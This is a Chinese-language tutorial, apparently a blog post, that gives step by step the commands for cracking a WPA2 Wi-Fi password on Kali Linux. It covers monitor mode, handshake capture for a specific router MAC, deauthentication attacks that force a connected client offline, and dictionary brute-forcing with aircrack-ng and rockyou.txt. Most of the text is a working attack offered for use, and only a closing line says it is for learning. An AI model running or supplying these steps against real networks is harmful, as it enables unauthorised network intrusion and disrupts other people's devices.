kali破解Wi-Fi密码

kali系统接入无线网卡，通过监听周围热点，选择一个Wi-Fi热点，攻击一台连接了该Wi-Fi热点的设备，使它掉线之后这台设备会再次主动连接，用伪装的挂载设备去接受设备发送的tcp三次握手数据包。只要用kali自带的密码字典文件去穷举该数据包，直到找到Wi-Fi密码为止就成功了

先将无线网卡插入Kali Linux，输入命令查看，网卡名一般为wlan0：
iwconfig

输入以下命令将可能会影响进行无线实验的因素排除掉：
service network-manager stop
airmon-ng check kill

接着启动monitor模式开启网卡监听：

输入iwconfig命令确认已经进入monitor模式：

扫描wifi信号，数据包抓取
airodump-ng wlan0mon：

• PWR：信号强度，数字越⼩小越好
• Data：对应路由器的在线数据吞吐量，数字越⼤数据上传量越⼤
• CH：对应路由器所在频道
• ESSID：对应路由器名称

选择一个WiFi（在此我选择MAC为70:47:E9:64:9A:CF，路由器名为“嘿嘿嘿”）针对某一个WiFi的BSSID进行抓取
airodump-ng -c <AP的频道> -w <抓取握⼿手包的存放位置> --bssid <AP的MAC地址> < monitor名称>
airodump-ng wlan0mon --bssid 70:47:E9:64:9A:CF -c 11 -w wpa2
抓取 ssid 为70:47:E9:64:9A:CF信道为11的wpa2的数据包

现在还抓不到握手包，因为没有客户端与AP进行连接
但是有一个已连接的热点，我们通过新开一个终端窗口，解除认证发送反认证包，让它下线，然后客户端会重新尝试连接热点
aireplay-ng -0 <发送反认证包的个数> -a -c <强制下线的MAC地址> 无线网卡名称
aireplay-ng -0 10 -a 70:47:E9:64:9A:CF -c 34:F6:4B:AC:E6:F8 wlan0mon

系统会下线重新连接，我们就抓到了握手包，我们返回第一个终端就可以看到已经抓到握手包WPA handshake

选择需要破解的数据包和字典（kali自带一个字典文件，虽然不大，也可以通过其他的字典生成工具生成）
解压kali自带的字典文件
路径：/usr/share/wordlists/rockyou.txt.gz
gzip -d/usr/share/wordlists/rockyou.txt.gz

开始爆破
aircrack-ng -w /usr/share/wordlists/rockyou.txt wpa2-10.cap

破解成功

此文章仅用于学习，不可用于非法途径！